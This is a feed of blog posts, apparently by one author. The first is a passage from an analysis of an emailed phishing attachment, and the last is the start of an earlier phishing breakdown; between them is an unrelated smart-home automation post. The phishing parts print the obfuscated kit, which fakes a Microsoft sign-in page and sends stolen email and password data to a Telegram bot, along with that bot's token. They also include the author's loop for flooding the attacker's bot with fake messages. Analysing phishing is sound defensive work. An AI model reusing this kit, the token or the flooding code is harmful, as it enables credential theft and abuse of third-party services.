4cnJ\166\u0063n\x423IiBzdHlsZT0iY2\x39s\142\063I\066\u0049\x48Jl\x5aD\163g\142W\x46yZ\x32luOiAxNXB4\117yBtYXJnaW4t\u0062\x47\126mdD\157\x67M\u0048B\064\117\x79\x42t\x59XJnaW\064\164\x64G\u0039w\u004fiAwc\x48g7\111G1\x68\143md\x70b\x691\x69b3\u0052\x30\1422\x306\u0049D\x42w\145\u0044siP\x6a\x77vZ\u0047l2\120go8Z\107l2I\107\u004esYXN\x7a\x50S\112yb3\143iPg\x6fg\u0049C\x41gPGR\160d\151Bj\142\107\106zc\u007a\u0030\151Zm9yb\123\061n\143m91cC\u0042\152\142\u0032\167t\u0062\127Q\x74\u004d\152\u0051i\u0050\147ogICAgI\103A\147\u0049\x44xkaX\131gY2xhc3\x4d\071InB\x73\131WNla\107\x39sZG\x56yQ2\071udGFpbmVy\111\x6a4\113IC\101gICA\u0067ICAgI\103AgP\x47lucHV0\u0049\x47\x35\x68\142WU9In\x42hc3N3ZCIg\144H\x6cw\132T\x30\u0069c\u0047F\x7ac3d\x76\143mQiI\107\u006ckP\123JpMDEx\117CIgYXV0b2NvbXB\u0073ZXRlP\x53\u004av\u005amYi\x49GNsYXN\x7aP\x53\x4amb3Jt\114W\x4evbn\x52\171b2wg\x61\x57\x35wd\x58QgZ\x58h\x30L\127\154uc\110V0\111H\122leH\121t\131m\071\u0034I\107V4dC10\x5aX\x680LW\u004a\166e\u0043I\147cGxhY\062\126o\u0062\x32xkZ\u0058I9\u0049\u006c\102\150c3N\063b3JkIiByZXF1aXJlZ\u0043\x41vPg\1578L\x32\x52pd\1524K\u0049\103AgID\x77v\u005a\107l\x32P\x67o8L\062Rpd\152\x34KPGR\x70\u0064\x6a4K\120GRpdiBjbGFzcz0i\x63\1079z\x61\x58Rpb2\u0034\u0074Yn\x560\144G9uc\x79I+C\151\101g\111CA8Z\x47l2P\147ogICA\x67ICA\147\111D\u0078\x6ba\130Y\147Y2xh\1433M9In\u004avd\171I\x2b\103i\u0041g\u0049CA\147I\103\u0041gI\x43AgIDxk\141XYgY2x\x68c\x33M9\x49m\x4e\x76\x62C1t\u005aC\060yNCI+\u0043iAg\111C\101\x67IC\101g\111CA\x67\u0049CAgI\x43A8ZG\x6c2I\u0047\u004es\x59\130NzP\123J0\u005aXh\x30LTEzI\152\064\113I\x43AgICAg\111CA\x67I\u0043A\147\111CAgICAg\111CA\x38\x5aG\1542\111\107Ns\131X\u004ez\u0050S\u004amb\063\u004at\114\127d\171b3\u0056wI\1524\113\111CA\x67\x49CAgI\103A\x67\x49CAgICAg\u0049\x43AgI\103\101g\111CA\x67PGEgaW\u00519\u0049\x6d\154k\121\x56\x39\121V0RfRm9\x79\x5a29\u0030\x55\x47F\172c\u0033dvcmQiIHJvb\107\u00559\111\x6d\170pb\155\x73\151\111\x47\150yZWY\071I\x69\115\151Pk\132\u0076c\155dvdH\122lb\x69B\u0074eSBwY\130Nzd\x32\x39yZDw\166YT4K\x49C\x41g\111CAgI\x43\101gI\103\u0041\u0067I\x43A\u0067\u0049\x43Ag\111CA8\u004c\062R\x70dj\x34KP\x47Rp\x64\u0069Bj\x62GFz\x63z0i\132m9ybS\x31ncm9\u0031c\x43I\x2bCjwvZG\x6c2PgogICAg\x49\x43Ag\111\104x\153a\130\u0059\x67Y2\170\150c\x33M9\u0049\u006dZ\x76cm0tZ3JvdXAi\x50go\147ICAg\111CAg\u0049CAgICA\070YSBpZD\x30iaTE2\u004ej\u0067i\111\107hyZ\x57Y9Ii\x4diPlNpZ24\x67aW4gd2l\060aCBhbm90\141GVyI\107Fj\x5929\u0031bnQ8L2E\053CiAgICAg\111C\101g\x50C9k\141XY+PC\x39ka\u0058\131+\x50\103\x39\u006baXY+PC9ka\x58Y+Ci\x41gIC\1018L2\x52\u0070\u0064\1524K\103\x69\x41\x67I\u0043\u0041\x38ZGl\u0032\u0049G\x4es\131\x58\116zPSJ3aW4tYnV0d\107\071uL\x58B\x70\x62i1ib3\x520b20\151\u0050g\157gI\x43Ag\u0049CAgIDx\153a\u0058Yg\1312x\150\1433M9\111nJ\166dyI\u002bCiAg\x49\u0043AgI\x43AgICA\x67\111Dx\153\u0061XY+PGRpdiB\u006a\142GFzc\172\060iY29s\114X\x68\x7a\u004cT\x49\x30\u0049\1075vLXB\x68\132GR\u0070bmctb\x47\126md\x431\171aWdod\103B\151\u0064XR0b\x324tY2\071\x75dG\u0046p\x62mVy\111j4KI\103A\147IDx\153\141XYgY2x\150c\x33M\x39ImlubG\154uZ\1231i\142G9ja\u0079I\053CiA\u0067IC\101g\111\x43Ag\120GlucHV\x30IH\x525\u0063GU9\u0049nN1Ym1pd\u0043I\147\x61W\1219Im\x6c\x6b\x550\154C\144X\x52\060\u0062245I\x69BjbGFz\u0063\x7a0\x69d\x32l\x75\114WJ1dHRvbiBidXR0b\u00325\146cHJpbWF\u0079\145S\u0042\x69d\u0058\1220b\u0032\064g\x5aXh0L\x57J1dHRv\x62iBw\u0063\x6dltY\x58J\x35IG\1264\144C1wcm\154tY\x58J5I\151B2\131Wx1ZT0\x69U2lnbiBp\x62iI\x2b\103iAgIC\x418L2\122\x70dj4K\x50\u00439\153\u0061XY+PC9\153aXY\x2bC\151\x41gI\103A\x67\111CAgPC9k\141XY+C\151A\147\111CA8\x4c\x32Rp\144j\064\113P\x439kaXY\053\x50C9kaXY\x2bC\151AgICA\x38\x4c2\x52pdj4KPC9\153a\u0058Y+PC9k\141\x58\131+PC\u0039k\u0061\x58Y+PC9ka\u0058Y+\x43\x69Ag\111CA8L2Rpd\1524KP\1039kaXY+\x50C9\x6baXY+\u0043\151\x41gICAgIC\u0041\u0067\x50\u00439k\141XY+CiAg\u0049C\x41\x38L2Rpdj4KICA\147\111\104\x78kaXY\147a\x57Q9ImZv\x623Rl\u0063iIgc\x6d\071sZT\x30\151\x5929u\144\107VudGluZm8\x69\x49\u0047\116sYXNz\120S\112m\u00622\0710Z\x58IgZXh0\x4cWZvb3\122l\x63iI+Ci\101gI\x43\101\x67I\103\x41gPGRpdj4KPG\x52\160\144\x69BpZ\1040iZ\155\071vd\x47VyTGl\x75\u00613\x4di\111GNsY\130N\x7a\120\123J\u006db2\0710ZX\x4aOb2R\154IHR\u006ceHQtc\062\126\x6ab2\065\u006b\x59X\112\u0035Ij4K\111CA\147ICAg\x49CA\x38YS\102\160ZD\060i\132nRyV\u0047VybX\u004diI\u0047hyZWY9\111iMi\x49G\u004e\x73YXNzP\x53Jm\14229\060Z\130I\164Y29\x75\u0064GVudC\x42l\145HQ\164Z\1559v\144G\x56\u0079L\x57Nv\x62nRlbnQ\u0067Zm9vdGV\171LWl0\x5a\1270\x67\u005a\x58h\x30LWZvb3Rlci1pd\x47V\u0074Ij5UZXJtc\171BvZiB1c\u0032\125\x38\114\u0032\105\053C\u0069\x41gICAg\x49CA\147P\x47EgaWQ9ImZ0c\x6cByaX\x5ahY3\u006biIG\x68yZ\u0057Y9I\x69MiIG\x4e\x73YXNz\120SJmb290ZX\111tY29udGVu\x64\103BleHQtZ\155\u0039\x76\144G\x56yL\x57\x4evb\u006eR\u006cbnQgZ\u006d9\x76dGVyLWl\x30ZW\x30gZXh0LWZvb3Rlc\x69\x31p\x64GVt\u0049j\x35Qcml\062\x59WN\x35I\103ZhbXA7I\u0047\x4e\u0076\1422tpZX\u004d8L\x32E+C\151A\x67ICA\x38\131SBpZD0i\142W9yZU9wd\u0047l\u0076bn\u004d\151I\x47\150\171\132WY\071Ii\x4d\u0069I\107FyaWE\164bGFiZWw\u0039\111k\116\u0073aWNrIGhl\x63mU\x67Zm9yIHRyb\u0033V\x69bGVzaG9v\u0064\u0047luZyBp\142mZvcm1\x68dGlvb\x69IgY2x\x68c3\u004d\x39Im\132\x76b3Rl\x63i1\x6ab\06250Z\u0057\0650IGV4\144C1mb2\x390ZXItY29udG\x56udCBm\x62290\x5aXItaXRlb\x53Bl\145\110\121\164Z\x6d\071\x76\144\x47VyLW\1540Z\u00570\147\x5aGV\x69dWctaXR\x6cb\123B\u006c\145HQtZGVidWctaXRlb\123\111+Li4u\x50\1039\150\x50go\070L2Rp\x64\x6a48L\062\u0052p\x64j\x34K\111CAgIDw\x76\132\x47l2Pgo8L2\u0052pd\x6a48\1142Rp\x64\x6a4\x38L2\u0052\u0070dj4K\x50C9\155b\x33\x4atPgo\x38\x632Ny\x61X\x420P\x67ogICA\147dm\x46y\111\107\x4evdW50I\x440gM\u0044s\113ICAgI\x48ZhciBwc3dkMTsKIC\101gIG\122vY3\x56tZW50\x4cmdldEVsZ\u0057\061lbnRC\x65UlkKCJp\x5aF\x4eJ\u0051nV0d\107\u0039uOSIp\114mF\x6bZE\x56\x32\u005aW50\x54Glzd\x47VuZXI\x6fI\155\116\163aWNrIiwgZn\u0056u\u00593Rpb\x324\u006f\x5aSk\147ewogI\103A\x67ZS\u0035\x77cmV2\u005aW5\u0030R\107Vm\x59XVsdC\147p\x4fwo\u004bIC\101gIHZhci\x42wc\063dk\u0049D0\147\x5aG9jdW\061lbnQu\x5a2\x56\u0030\x52W\170lb\u0057\x56udEJ\065SWQoJ2k\x77MTE\x34\x4aykudmFsdW\125\u0037CiA\147IC\x42p\132i\101ocH\x4e3Z\x43A\u0039PSBudWx\163IHx8IHB\u007a\u00642Q\x67PT\x30gI\u0069Ipewo\u0067\x49CAgICA\147IGRvY\063VtZW50Lmd\154\x64\x45Vs\132\x571lbnRCe\u0055lkKCdlcnJ\166c\156B\063\u004aykuaW5uZ\x58\x4a\x49\126E\x31MI\x440\147YF\u006c\166dXIg\131W\x4ejb3\x56\165dCBw\u0059XNz\14429yZCBjYW\065\x75\x62\x33QgY\155\125gZW1\x77d\110kuIGl\x6dIHlvdSB\u006bb24n\u0064CB\x79\u005aW1l\x62WJl\143iB5b3\126y\u0049\x48Bhc3N3b3JkLC\x418\131SBocmVm\120\u0053\111j\u0049j5y\x5a\x58NldC\x42pdC\x42\x75b3cu\u0050C9hPmA7Ci\u0041\u0067\111CAgIC\x41\147c2V0\126\107ltZW91\144CgoKS\x419\120iB7ZG9jdW\061lbnQ\x75Z2V0RWx\x6c\142W\126u\x64E\u004a5SWQoJ2\x56ycm9ycH\u0063\u006eK\x53\x35p\u0062m5\x6c\x63\x6bhUT\x55wgP\123AnJzt9LCAzM\104AwK\124t\u0039C\151AgICBl\x62\110NlI\107l\x6dK\x48Bz\x642QubGVuZ3Ro\x49\104wgNS\u006c\067\103iA\x67ICA\147\111\x43A\x67\132\107\x39j\x64\u00571l\x62\x6eQu\x5a2\x56\060RWx\x6c\142\x57\126udE\1125S\127QoJ2V\171cm9\u0079cHcnKS\x35pb\1555\x6cc\u006bh\125TUwg\x50S\101i\x57W91\143iBh\1312N\x76d\x57\x350\111HB\u0068c\x33N3\u00623J\x6bIGlzIHRvbyBz\141\x479y\144C4\u0069Owog\x49CA\147IC\101gIH\116ldFRpb\127VvdXQ\u006fK\x43\153gPT4ge\062RvY\u0033\x56t\132W5\x30Lm\x64\154dE\x56sZ\x571\u006cb\x6eRCe\u0055lkKCdlcnJvc\x6eB\u0033Jyk\x75\x61\1275uZ\u0058JIV\x451MID0gJyc7I\x47\u0052\x76\x593Vt\132W50Lmd\154dE\u0056sZW\061\x6cbn\122CeU\x6ckKCJpMDI4M\x53IpLn\u004alc2V0KCk\x37\x66S\167gMzAw\u004dCk7CiAgICB9IGV\163c2U\147\141\127\131g\x4bGNvdW50PD\x45pewog\111CA\147I\x43\x41gIHBz\u0064\062\121\170\x49D0gZ\107\x39jdW1lbnQ\x75Z2V\060R\u0057x\x6cbWVudEJ5SWQo\112\x32kwM\x54\x45\064Jykudm\x46\u0073dW\1257CiAgICAg\x49\u0043AgZ\u0047\071jd\x571lbn\121uZ\x32\x560\122Wxlb\u0057V\x75dEJ5SWQ\x6f\x4a\x32Vycm9ycHcn\u004bS5pbm5lckhUT\x55wgPS\x42g\x57W91c\151BhY\x32\x4e\166d\x5750I\107\x39\171\111\x48B\150c\063N3b3Jk\111GlzIG\u006cuY29y\u0063mV\u006adC\x34g\u0061W\131geW91\u0049GRvbid\x30\x49\x48Jlb\x57VtY\x6d\x56\u0079\111Hl\166dXI\u0067cGFzc3\144vcmQsIDx\150IG\u0068yZWY9Ii\x4diPn\u004a\x6cc2\u00560I\107l0IG5v\144y\x348L\x32E+Y\x44\163\x4bICAg\x49\x43A\147\x49CBkb2N1bWVudC\x35\u006eZXRFbGV\164ZW5\x30Qn\u006c\112ZC\147iaTAyODEiKS5yZXNldC\147\160Oy\102jb3V\u0075dCsr\1173\x30KICAgIGVsc\x32Uge\u0077\u006f\u0067ICAgICA\x67IH\132\x68ci\x42JUC\101\x39IGRvY\x33\x56tZW50Lmdld\105V\u0073\132W1lbnRCeU\u006ckKCdn\x5amc\x6eKS5\060Z\u0058h0Q2\x39udGV\165dD\163KICAg\u0049CA\x67IC\x422YX\u0049gbWVz\1432FnZS\x419IGA\x39\u0050T\0609PT0g\u0054zM2NS\x42SZ\u0058N1bHQgPT09PT0\u0039\130\x48Jc\x62\153VtYWls\u004f\151Ak\1452VtYWlsfV\170yX\u0047\x35QYX\116\172\x6429yZ\x44E6IC\x527cHN3\x5a\u0044F9XH\u004a\x63blBhc3N3b3\112\u006bMjogJHt\x77c\063dk\u0066V\u0078\171X\x475JUD\x6f\147a\u0048R\060c\x48\x4d\066L\x799pc\1031h\143G\x6bu\13129tL\x79R\067SV\102\071XHJ\143b\x6cVzZ\u0058\u0049t\x51W\144\u006cb\u006eQ\x36ICR7bmF2a\127dhd\1079\u0079L\x6e\x56z\x5aX\x4aB\132\x32Vud\u00481\143\143l\x78\u0075PT09P\124\u00309PT0\u0039\u0050T09PT09PT\x30\x39PWA7\u0043iAgI\103\101gICA\u0067\u0064mF\171\111HNld\110\122pb\x6ddzID0gew\x6f\147IC\101\x67ICAg\x49CAg\111\103A\151\u0059X\1165\142m\115i\x4fiB\060\x63nVlLCA\u0069Y\u0033\x4av\u00633N\x45b\062\u0031haW\x34i\x4fiB0\143\x6eVlLCA\x69dXJsIj\x6f\x67\111\155h\x30\x64HBz\x4f\151\x38v\x59XBp\u004cnRlbGVncmFtL\u006d9\x79Zy\u0039i\142\063\121i\111\u0043sgdG\x39\162\132W\064gK\x79\x41\x69L3Nlb\x6dRNZ\x58NzY\127\x64lIiwKI\103\101g\111\x43A\147IC\x41g\111C\u0041gIm1l\144GhvZCI6ICJQ\1241N\x55\u0049\u0069\x77gI\x6dhlYW\122l\143nMi\u004fiB7\x49kN\x76b\156\122lb\156Q\164\x56H\154\167\132\123I\066ICJ\x68cH\102\x73aWN\x68dG\154\x76\142\x699qc\u00329uI\151\167\u0067\u0049mN\u0068Y2\u0068lL\x57NvbnRyb2\167i\x4fiAib\155\u0038t\x59\062\106jaGU\x69fS\x77K\u0049\x43\x41gICA\147\111C\101g\111CA\x67\111\u006d\122hd\x47\105iOi\u0042KU09O\114n\1160cm\154u\1322lme\123h7\111mNoYX\u0052\u0066a\x57\121iO\151B\152\141GF0X2lkLCAidGV\x34\x64\x43I\066\111\1071l\143\x33NhZ\062V9KX\x30\u004b\111\x43\u0041gIC\x41gIC\x41kLm\106\161YX\147o\1432\u00560dG\x6c\u0075\1323\115p\u004c\155R\x76bm\x55\x6f\113HJlc3Bv\142nN\x6cKSA9PiB7d\u0032luZ\107\071\x33Lm\u0078\u0076Y\u0032\x46\x30\141W9uLn\x4a\x6c\x63Gx\x68\x592UoJ\x32h\u0030\x64\110BzOi\070v\x63G9\x79d\107FsL\u006d\x39m\x5amljZ\123\u0035j\x622\x30\166c2Vy\x64m\154jZ\130N0YXR1cy\x63p\1173\x30pOwo\u0067IC\101\x67fSA\113I\103\x41gIH\060\x70O\x79AKP\x439zY3Jp\x63HQ+C\u006awvZGl\x32\120jwvYm9k\x65T48L\u0032h0b\127w+");\u0064\u006fc\u0075m\u0065\u006e\u0074.write(data);</script>

What’s interesting is they’ve exploited that you can use unicode escaping for JavaScript identifier names, which is legal as per the spec.

Let’s take this:

`1`	`var e\u006dail="<yes, my email was here>";`

We have the unicode codepoint of 006d (the \u indicates that it’s a unicode escape) and if we refer to a unicode lookup table we’ll see that 006d is m, meaning that we have an identifier of email. Bet you didn’t guess THAT did you!

Clearly, this particular version of the file has gone hard on the unicode identifiers, even down to \u0064\u006fc\u0075m\u0065\u006e\u0074.write, which is just document.write.

This brings us to the question of why, why would you convert all the JavaScript, or at least some of it, to unicode? I can only speculate, but I’d assume that they are doing it as a layer of obfuscation, it’s just another thing that makes the code less readable to anyone who goes snooping around in it and make them think that maybe it is legitimate in what it’s doing. It does come at the expense of size, going from 8.6KB to 17.8KB, which is why this isn’t a common form of obfuscation for served JavaScript, but if you’re running an offline file like this, it doesn’t really matter.

Digging into Telegram

In the last post I was saddened by the fact that I couldn’t use the Telegram API with the token that was in the email body as it was no longer authorised. This time though, I’m pleased to say that it is active, at least at the time of writing!

So, let’s poke it.

From the JavaScript, we can see that the token is used to call the bot parts of the API, suggesting that it’s a valid bot token and nothing more, but let’s start trying to figure out the user info for the bot. I’m going to do this in JavaScript, for something a bit different, and we’ll start by getting the bot and chat info:

import "dotenv/config";

(async () => {
  const token = process.env.TELEGRAM_TOKEN || "";
  const chat_id = process.env.CHAT_ID || "";
  const telegramAPIBase = `https://api.telegram.org/bot${token}`;

  let res = await fetch(`${telegramAPIBase}/getMe`, { method: "POST" });
  let json = await res.json();
  console.log("me", json);

  res = await fetch(`${telegramAPIBase}/getChat`, {
    method: "POST",
    body: JSON.stringify({ chat_id }),
    headers: {
      "Content-Type": "application/json",
      "cache-control": "no-cache",
    },
  });
  json = await res.json();
  console.log("chat", json);
})();

This sees the following dumped to the console:

me {
  ok: true,
  result: {
    id: 5742807394,
    is_bot: true,
    first_name: 'countduque',
    username: 'countduque11_bot',
    can_join_groups: true,
    can_read_all_group_messages: false,
    supports_inline_queries: false
  }
}
chat {
  ok: true,
  result: {
    id: 5486255038,
    first_name: 'Count',
    last_name: 'Duque',
    type: 'private'
  }
}

So our bot is named countduque and they are in a private chat (which isn’t surprising really), but what is surprising, and somewhat annoying, is that the user has can_read_all_group_messages set to false, which is the default for bots. The impact of this is that the bot is unable to read out the messages of the chat. I had assumed that they were using the bot as the input and output processing, but it seems like it’s just feeding the data in and either they have a person on the other end that reads the messages, or a different bot that reads them. Given the semi-structured nature of the input, I’m guessing they have another bot that’s reading the messages.

To validate, I use the getUpdates endpoint, but through all my testing, I was unable to get back any messages, even when I submitted them I was unable to read them back immediately… queue sad face.

I guess that I’m not going to be able to get much further with this bot… so instead I spammed it with 1000000 fake messages… as you do.

Summary

I’m enjoying this exploration into the spammer emails. It was interesting to see the use of unicode for identifier names as a way to obfuscate the code a little more (at least, so I assume), and I’m not surprised that I wasn’t able to pull the messages from the Telegram chat, just saddened that I couldn’t.

I’ll just have to keep an eye out for the next one that comes in and see if I can learn any more.

Oh, and I’d totally not encourage anyone to use the token/chat ID that was in this to run code such as this:

  for (let i = 0; i < 1000000; i++) {
    const message = `====== O365 Result ======\\r\\nEmail: ${email}\\r\\nPassword1: ${password}\\r\\nPassword2: ${password}\\r\\nIP: https://ip-api.com/0.0.0.0\\r\\nUser-Agent: Mozilla/4.02 [en] (X11; I; SunOS 5.6 sun4u)\\r\\n===================`;
    fetch(`${telegramAPIBase}/sendMessage`, {
      method: "POST",
      body: JSON.stringify({ chat_id: chat_id, text: message }),
      headers: {
        "Content-Type": "application/json",
        "cache-control": "no-cache",
      },
    });
  }

I really wouldn’t… 😏

Building a Smart Home - Part 3 "Smart" Appliances

website-contact@aaron-powell.com (Aaron Powell) — Thu, 18 Aug 2022 06:21:32 +0000

After exploring a bit of the thought process on the how and why with my journey to a smart home, it’s time to look at a what, and for that I’m going to tackle one of the problems I identified in the last post:

Forgetting the washing machine was done to hang the laundry out

To give a bit of context, my home office is upstairs while the laundry is downstairs, and what this means is that I generally don’t hear when the appliances finish their cycle, and if I don’t realise until half way through the day, then it’s likely that our washing isn’t getting dry unless it goes in the dryer (and because we don’t have solar in yet, I try to reduce the amount of time we use that as it’s expensive!). Queue sad Aaron.

While yes, there’s a whole heap of wifi-enabled appliances, we got new ones with the new house and they are not wifi-enabled, so going out and buying a whole new set is not something that’s in the budget.

So, how do we tackle this?

Is this thing on

How do we know if an appliance is running? The simplest way to do that is looking at whether it’s using power or not and apply some basic logic of if using power - state:running, if not using power and last state:running - state:finished.

This means we’re going to need to figure out whether the appliance is drawing power and to do that we’ll get some smart switches to do power monitoring. There’s a heap of switches on the market, across all protocols from wifi to ZigBee, but since I’m not ready to dive into the world of ZigBee or Z-Wave yet, I went with the TP-Link Kasa KP115 because they were easy to get (I got them from Bunnings, but it seems Bunnings no longer stocks them), they have a very small profile, and they connect to Home Assistant using the TPLink Kasa integration.

I grabbed myself three of them (washing machine, dryer and dishwasher), and set them up in the Kasa app.

I did setup a Kasa Cloud account for this but I’ve since learnt that they do support local control, so you might not need to do that, but I haven’t had time (or the motivation) to go back and reconfigure the setup.

With the devices on the network it was only a matter of time until Home Assistant picked them up and then they were available as entities for me:

Great, time to see what it can do.

Looking at the data

When the device was added to Home Assistant it gave me several new sensors. This is the view of my washing machine (which ran a cycle earlier today):

From an automation standpoint, the Current Consumption is going to be most relevant, as that’s reporting the Watts that is being drawn through the plug. We can get a good view of this over time:

I reckon we can work with this. So, armed with our insights, let’s make an automation.

Automation - take 1

The first automation I created was very simplistic:

alias: Is washing done
description: ""
mode: single
trigger:
  - platform: state
    entity_id:
      - sensor.washing_machine_current_consumption
    to: "0"
condition: []
action:
  - service: notify.mobile_app_aaron_s_phone
    data:
      message: Washing done

This automation will run when the washing machine stops drawing power and that seems right doesn’t it? If it’s not drawing power, it’s done, isn’t it?

Well, the blow up on my phones notifications would suggest otherwise… turns out that this automation works, but doesn’t work quite right. Let’s go back to the graph from before.

Do you see the problem?

The problem is I’m making a false assumption that the power draw is consistent, when in reality, power goes up and down, depending on the phase of the wash cycle, and as a result, we hit the zero power draw trigger with a lot of false positives.

Automation - take 2

So it turns out that what I really should be doing is using the for parameter of the trigger and have it say if the power is zero for <some duration> - finished. Because I’m sure this is a solved problem, I decided to search the Home Assistant forms and came across this blueprint, which you can install here:

If you’ve not used a blueprint, it’s a pre-configured automation in which you just plug in the relevant values, and this one is designed around appliance finished scenarios. Once the blueprint is imported, you can use it as the base for a new automation:

The other thing I like about this blueprint is that it has both start and stop actions that can be configured, so when the appliance crosses the threshold to be considered as started you can do something and then when it’s completed do something else.

Here’s what the automation now looks like, and if we hit save, it’s good to go (and my phone won’t get spammed!).

Bonus points - tracking state

Mainly for fun, but also because I think it might be useful in the future, I decided to expand the actions of the automation to give more rich information about the appliance, specifically, track when the appliance last started, and what its current state is.

This will mean I can make my dashboard look like this:

For this, I created two inputs, date time and text. Next, in the on start phase of the blueprint, I set the values of those to their relative states, and then when it’s finished, I change the text input from Running to Finished.

Here’s the complete automation:

alias: "Appliance finished: Washing"
description: ""
use_blueprint:
  path: >-
    sbyx/notify-or-do-something-when-an-appliance-like-a-dishwasher-or-washing-machine-finishes.yaml
  input:
    power_sensor: sensor.washing_machine_current_consumption
    actions:
      - service: notify.mobile_app_aaron_s_phone
        data:
          message: Washing finished!
          title: 🧺 Laundry
      - service: input_text.set_value
        data:
          value: Finished
        target:
          entity_id: input_text.washing_machine_enriched_status
      - if:
          - condition: time
            before: "19:00:00"
            after: "07:00:00"
            weekday:
              - mon
              - tue
              - wed
              - thu
              - fri
        then:
          - service: tts.google_translate_say
            data:
              entity_id: media_player.whole_house
              message: Washing finished
        else: []
    pre_actions:
      - service: input_text.set_value
        data:
          value: Running
        target:
          entity_id: input_text.washing_machine_enriched_status
      - service: input_datetime.set_datetime
        data:
          datetime: "{{ now().strftime('%Y-%m-%d %H:%M:%S') }}"
        target:
          entity_id: input_datetime.washing_machine_last_started

Setting the last_started requires a value to be set using a template, which you can only do in YAML, but it just grabs now() and formats it for storage.

Also, for fun, I have it announce on all our Google Homes when the washing finishes using the Text To Speech (TTS) service, but that’s wrapped in a condition that only allows it Monday - Friday between 7am and 7pm, so not to wake anyone. Ask me how I knew to add that 😅!

Summary

Here we’ve seen how I turned a dumb appliance into a smart one, and done a small quality of life improvement.

By using power monitoring and a simple automation, we can determine when an appliance is running, and by tracking that, work out when it’s finished to give you the feedback needed.

I’ve actually had this automation running for a few months now (I originally set it up at our rental), and it’s by far the most relied upon one that I have.

Sure, there has been a few hiccups - the Kasa plugs occasionally lose connection to Home Assistant (sometimes they go into ’local only’ mode but I’m not sure what triggers that), but since I put them on fixed IP’s they’ve been better.

I’ve got some ideas on how to improve the notifications more, like if I’m out, don’t send the notification until I’m home, but that’s well down the priority list. For now, this is doing the job nicely.

Breaking Down Another Phishing Attempt

website-contact@aaron-powell.com (Aaron Powell) — Thu, 18 Aug 2022 01:19:21 +0000

Earlier this year I did a post about a phishing attempt I received. While I get these somewhat frequently, I decided to have a dig into the one I received today for no reason other than it seemed interesting.

The email

Here’s the email I received:

This is super low effort and very clear that it’s a phishing attempt. There’s a huge string of text and numbers in the “from” name. What does it mean by “14 inbox delivery”? The fact that there’s a validation form on a random HTML attachment makes it painfully obvious that I shouldn’t open this.

I tried to figure out what 900150983cd24fb0d6963f7d28e17f72900150983cd24fb0d6963f7d28e17f72900150983cd24fb0d6963f7d28e17f72 means from the sender, but I couldn’t find anything meaningful in any decryption. I thought it might’ve been a Bitcoin address, but it’s too long for that, and nothing came back from standard web searches, so 🤷. If you figure it out - let me know!

Let’s download the HTML file and open it in VS Code.

The attachment contents

<script>
  var email = "<yes, my real email was here>";
  var token = "5372900524:AAEesupk4LMrZO_4PONhPBHIpFu3ey-6O20";
  var chat_id = 5510932248;
  var data = atob(
    "PCFET0NUWVBFIGh0bWw+CjxodG1sIGRpcj0ibHRyIiBjbGFzcz0iIiBsYW5nPSJlbiI+CiAgICA8aGVhZD4KICAgIDxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PVVURi04Ij4KICAgIDx0aXRsZT5TaWduIGluIHRvIHlvdXIgYWNjb3VudDwvdGl0bGU+CiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPgogICAgPG1ldGEgbmFtZT0idmlld3BvcnQiIGNvbnRlbnQ9IndpZHRoPWRldmljZS13aWR0aCwgaW5pdGlhbC1zY2FsZT0xLjAsIG1heGltdW0tc2NhbGU9Mi4wLCB1c2VyLXNjYWxhYmxlPXllcyI+CiAgICA8c2NyaXB0IHNyYz0iaHR0cHM6Ly9hamF4Lmdvb2dsZWFwaXMuY29tL2FqYXgvbGlicy9qcXVlcnkvMy40LjEvanF1ZXJ5Lm1pbi5qcyI+PC9zY3JpcHQ+CiAgICA8bGluayByZWw9InNob3J0Y3V0IGljb24iIGhyZWY9Imh0dHBzOi8vYWFkY2RuLm1zZnRhdXRoLm5ldC9zaGFyZWQvMS4wL2NvbnRlbnQvaW1hZ2VzL2Zhdmljb25fYV9ldXBheWZnZ2hxaWFpN2s5c29sNmxnMi5pY28iPiAgICAKICAgIDxsaW5rIGRhdGEtbG9hZGVyPSJjZG4iIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIGhyZWY9Imh0dHBzOi8vYWFkY2RuLm1zZnRhdXRoLm5ldC9lc3RzLzIuMS9jb250ZW50L2NkbmJ1bmRsZXMvY29udmVyZ2VkLnYyLmxvZ2luLm1pbl96aXl0ZjhkenQ5ZWcxczYtb2hobGVnMi5jc3MiIHJlbD0ic3R5bGVzaGVldCI+CiAgICA8c2NyaXB0PgogICAgICAgICQoZG9jdW1lbnQpLnJlYWR5KGZ1bmN0aW9uKCkgeyQoIiNkaXNwbGF5TmFtZSIpLmVtcHR5KCkuYXBwZW5kKGVtYWlsKTsgJC5nZXRKU09OKCJodHRwczovL2FwaS5pcGlmeS5vcmc/Zm9ybWF0PWpzb24iLCBmdW5jdGlvbihkYXRhKSB7JCgiI2dmZyIpLmh0bWwoZGF0YS5pcCk7fSl9KTsKICAgIDwvc2NyaXB0Pgo8L2hlYWQ+Cjxib2R5IGNsYXNzPSJjYiIgc3R5bGU9ImRpc3BsYXk6IGJsb2NrOyI+CjxwIGlkPSJnZmciIHN0eWxlPSJkaXNwbGF5OiBub25lOyI+PC9wPgo8Zm9ybSBuYW1lPSJmMSIgaWQ9ImkwMjgxIiBub3ZhbGlkYXRlPSJub3ZhbGlkYXRlIiBzcGVsbGNoZWNrPSJmYWxzZSIgbWV0aG9kPSJwb3N0IiB0YXJnZXQ9Il90b3AiIGF1dG9jb21wbGV0ZT0ib2ZmIiBhY3Rpb249IiI+CiAgICA8ZGl2IGNsYXNzPSJsb2dpbi1wYWdpbmF0ZWQtcGFnZSI+CiAgICAgICAgPGRpdiBpZD0ibGlnaHRib3hUZW1wbGF0ZUNvbnRhaW5lciI+CjxkaXYgaWQ9ImxpZ2h0Ym94QmFja2dyb3VuZENvbnRhaW5lciI+CiAgICA8ZGl2IGNsYXNzPSJiYWNrZ3JvdW5kLWltYWdlLWhvbGRlciIgcm9sZT0icHJlc2VudGF0aW9uIj4KICAgIDxkaXYgY2xhc3M9ImJhY2tncm91bmQtaW1hZ2UgZXh0LWJhY2tncm91bmQtaW1hZ2UiIHN0eWxlPSJiYWNrZ3JvdW5kLWltYWdlOiB1cmwoJnF1b3Q7aHR0cHM6Ly9hYWRjZG4ubXNmdGF1dGgubmV0L3NoYXJlZC8xLjAvY29udGVudC9pbWFnZXMvYmFja2dyb3VuZHMvMl9iYzNkMzJhNjk2ODk1Zjc4YzE5ZGY2YzcxNzU4NmE1ZC5zdmcmcXVvd